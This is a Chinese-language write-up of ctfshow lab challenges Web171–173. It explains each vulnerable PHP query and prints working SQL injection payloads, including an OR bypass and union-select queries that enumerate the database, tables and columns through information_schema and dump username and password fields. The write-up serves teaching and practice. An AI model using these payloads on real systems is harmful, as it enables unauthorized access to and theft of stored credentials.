Web171
进入靶场,是一个SQL查询界面:
审计:
查询语句如下:
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
语句功能从数据表user中查询username,password两个字段。
查询条件是username!='flag'
并且id = '".$_GET['id']."' limit 1;"
比如当我们查询id=1的数据,id='1' limit 1;
查询数据是以单引号形式闭合。
limit 1
的含义是当查询到相应的数据时,只返回一条数据。
思路:
我们能够控制的值只有$_GET['id']
.
我们令id的值为:
id=-1' or username='flag
拼接到语句中产生的效果就是:
id='-1' or username='flag' limit 1;
or运算符的作用是:运算符前后只要有一个语句为true即可。
在这段语句中,or的前件是username !='flag' and id ='-1'
,后件是username='flag' limit 1
。无论前件是true还是false,后件都将执行。
如果将or换成and,语句就变成了
username !='flag' and id ='-1' and username='flag' limit 1
由于username不可能在不等于flag的同时又等于flag,所以不能查询到flag。
EXP:
payload:
Web172
进入界面,是一只上吊的猫🐱:
挺有趣的,但是注入要紧。
进入SELECT模块->无过滤注入2,开始注入:
审计:
查询语句和上一题一样:
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
但是多了一步审查:
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
对象row指的是查询出的行,如果该对象的username不为flag,才能查询成功。
思路/EXP:
不能直接查询username为flag的行了,选择使用联合注入爆库。
首先使用order by
语句查询字段数。
2指的是字段数,–+是注释掉后面的语句。
当字段数小于或等于数据表的字段数时,能成功查询。
1' order by 2 --+
当字段数大于数据表字段数时,查询失败。
1' order by 3 --+
然后union select
联合查询
这里有两个注意点:
将前面的数字变为-1,因为数据表中没有id=-1的行,这样就不会查询出数据,防止查询的数据覆盖我们需要的回显。
第二点是联合查询后面的数字对应相应的字段。
-1' union select 1,2--+
查询数据库名:
database()返回当前数据库名。
-1' union select 1,database()--+
查询数据表名:
group_concat() 用于合并多行数据为一行输出。
这条语句的作用是查询ctfshow_web数据库中的全部数据表名。
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
查询字段名:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
查询字段中的数据:
-1' union select 1,group_concat(username,password) from ctfshow_user--+
flag不在这个表中,查询一下另一个表。
-1' union select 1,group_concat(username,password) from ctfshow_user2--+
得到flag.
Web173
界面如下:
审计:
查询语句依旧:
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
json_encode的作用是将PHP变量转换从json形式的字符串。
在字符串中匹配不到flag时,才能查询成功。
思路/EXP:
1' order by 3--+ //order by查出字段数为3
-1' union select 1,2,3--+
-1' union select 1,2,database()--+ //爆库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ //爆表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3'--+ //爆字段名
-1' union select 1,2,group_concat(password) from ctfshow_user3--+ //爆数据
由于会检查返回的数据中有没有字符串flag,所以我们最后只返回password字段即可,因为username字段中含有flag,会导致被匹配到,从而获取数据失败。